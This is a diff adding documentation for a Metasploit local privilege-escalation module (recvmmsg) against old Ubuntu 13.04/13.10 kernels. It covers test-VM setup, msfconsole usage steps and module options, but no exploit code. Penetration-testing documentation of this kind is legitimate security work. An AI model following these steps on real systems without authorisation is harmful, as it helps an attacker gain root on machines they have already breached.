+## Creating A Testing Environment
+
+This module works against Ubuntu 13.04, and 13.10.  As of writing this, those releases are at EOL (end of life).  If you wish to install `gcc` or other command, you'll need to fix your `/etc/sources.list` to
+point to the correct repos.
+
+`sudo sed -i -re 's/([a-z]{2}\.)?archive.ubuntu.com|security.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list` [source](http://askubuntu.com/questions/91815/how-to-install-software-or-upgrade-from-an-old-unsupported-release)
+
+This module has been tested against:
+
+  1. Ubuntu 13.04 (default kernel) 3.8.0-19-generic
+
+This module should also work against:
+
+  1. Ubuntu 13.10 (default kernel) 3.11.0-12-generic
+  2. Ubuntu 13.10 3.11.0-15-generic
+
+More kernels could be added to this, just need the proper offsets.
+
+## Verification Steps
+
+  1. Start msfconsole
+  2. Exploit a box via whatever method
+  4. Do: `use exploit/linux/local/recvmmsg_priv_esc`
+  5. Do: `set session #`
+  6. Do: `set verbose true`
+  7. Do: `exploit`
+
+## Options
+
+  **COMPILE**
+
+  If we should attempt to compile live on the system, or drop a binary.  Default is `auto` which will compile if `gcc` is installed.
+
+  **WritableDir**
+
+  A folder we can write files to.  Defaults to /tmp
+
